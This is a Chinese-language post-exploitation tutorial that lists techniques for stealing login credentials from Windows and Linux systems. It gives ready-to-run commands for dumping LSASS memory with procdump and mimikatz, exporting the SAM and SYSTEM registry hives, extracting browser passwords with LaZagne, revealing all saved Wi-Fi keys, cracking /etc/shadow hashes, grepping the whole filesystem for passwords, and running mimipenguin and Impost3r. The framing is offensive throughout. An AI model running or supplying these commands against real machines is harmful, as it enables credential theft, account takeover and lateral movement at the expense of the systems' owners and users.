0x01 Windows登录凭证窃取
Windows的系统密码hash默认情况下一般由两部分组成:第一部分是LM-hash,第二部分是NTLM-hash。它们都是用户密码经过hash加密后的形式。
Windows系统下hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值。
例如:
Administrator:500:AF01DF70036EBACFAAD3B435B51404EE:44F077E27F6FEF69E7BD834C7242B040
用户名称为:Administrator
RID为:500
LM-HASH值为:AF01DF70036EBACFAAD3B435B51404EE
NTLM-HASH值为:44F077E27F6FEF69E7BD834C7242B040
1.从LSASS内存中读取
lsass.exe是一个系统进程,用于微软Windows系统的安全机制。它用于本地安全和登陆策略。
要想读取内存的密码,前提是用户登陆过机器,登陆过就会在内存中停留:lsass.exe,一般在进程管理器中能看到,如下图(测试机器:windows server 2008):
第一步,导出lsass.exe进程中的内容,使用工具:procdump(注:必须使用管理员权限),会在当前目录下产生一个 lsass.dmp 文件。
procdump.exe -accepteula -ma lsass.exe lsass.dmp
第二步,通过mimikatz读取(08或者08以下的机器读取的直接是明文密码)
mimikatz.exe "sekurlsa::minidump lsass.dmp" "log" "sekurlsa::logonpasswords"
PS:直接使用mimikatz读取也可以(当mimikatz无法在目标机器上运行时则用上面的方法)
#提升权限
privilege::debug
#抓取密码
sekurlsa::logonpasswords
2.从注册表中读取密码
注册表读取密码主要获取的是两个文件:
reg save HKLM\SYSTEM Sys.hiv
reg save HKLM\SAM Sam.hiv
导出注册表之后,我们可以通过mimikatz读取管理员密码的hash值(如下图中的Hash NTLM):
mimikatz.exe "lsadump::sam /sam:Sam.hiv /system:Sys.hiv " exit> hiv.txt
3.抓取浏览器保存密码
很多浏览器都提供了记住密码的功能,用户在登录一些网站的时候会选择记住密码。
使用工具LaZagne,可以提取浏览器所保存的密码
github项目地址:https://github.com/AlessandroZ/LaZagne
获取所有密码:
lazagne.exe all
4.查看电脑wifi密码
# 查看电脑连接过的所有wifi
netsh wlan show profiles
# 查看某一wifi的密码
netsh wlan show profiles name="xxx" key=clear
# CMD一键获取 所有连接过的WIFI密码
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
0x02 Linux登录凭证窃取
1.history记录敏感操作
Linux系统会自动把用户的操作命令记录到历史列表中,当用户在命令行中输入账号、密码进行登录时,将会导致敏感信息泄露。
2.shadow文件破解
/etc/shadow
中保存着用户的相关密码信息,如
# tail -n 1 /etc/shadow
test:$6$7uNh9hzdvpT3BRuB$ndF3AH.faJPvlgA.d57JOmFTLeQEuzgVFc.sYfI5VZDkOC6D78x9at.d8eTqRuTJsqjd6uboKmmYp75wbqE1e/:18825:0:99999:7:::
test用户的密码密文即为$6$7uNh9hzdvpT3BRuB$ndF3AH.faJPvlgA.d57JOmFTLeQEuzgVFc.sYfI5VZDkOC6D78x9at.d8eTqRuTJsqjd6uboKmmYp75wbqE1e/
可以通过John或hashcat等工具进行暴力破解获得明文。
3.全局搜索敏感信息
全局搜索配置文件、脚本、数据库、日志文件是否有包含密码。
grep -rn "password=" /
4.mimipenguin抓取密码
一款Linux下的密码抓取神器,需要root权限运行,通过转储进程并提取很可能包含明文密码的行来利用内存中的明文凭证,目前支持Kali、Ubnutu等操作系统。
github地址:
https://github.com/huntergregal/mimipenguin
5.Impost3r
一个利用C语言编写,用来窃取linux下各类密码(ssh,su,sudo)的工具。
github项目地址:
https://github.com/ph4ntonn/Impost3r
参考资料
[2] Linux下登录凭证窃取技巧